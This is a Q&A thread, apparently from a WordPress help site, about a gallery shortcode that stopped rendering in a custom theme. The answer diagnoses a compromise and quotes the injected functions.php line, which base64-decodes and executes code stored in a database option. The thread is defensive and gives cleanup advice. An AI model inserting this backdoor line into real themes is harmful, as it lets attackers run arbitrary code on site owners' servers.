Default Wordpress [gallery] not showing up in custom theme

Question

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.

Here is the loop for page:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).

And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)

Answer 1

You're site got hacked.

The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)

You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.

AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).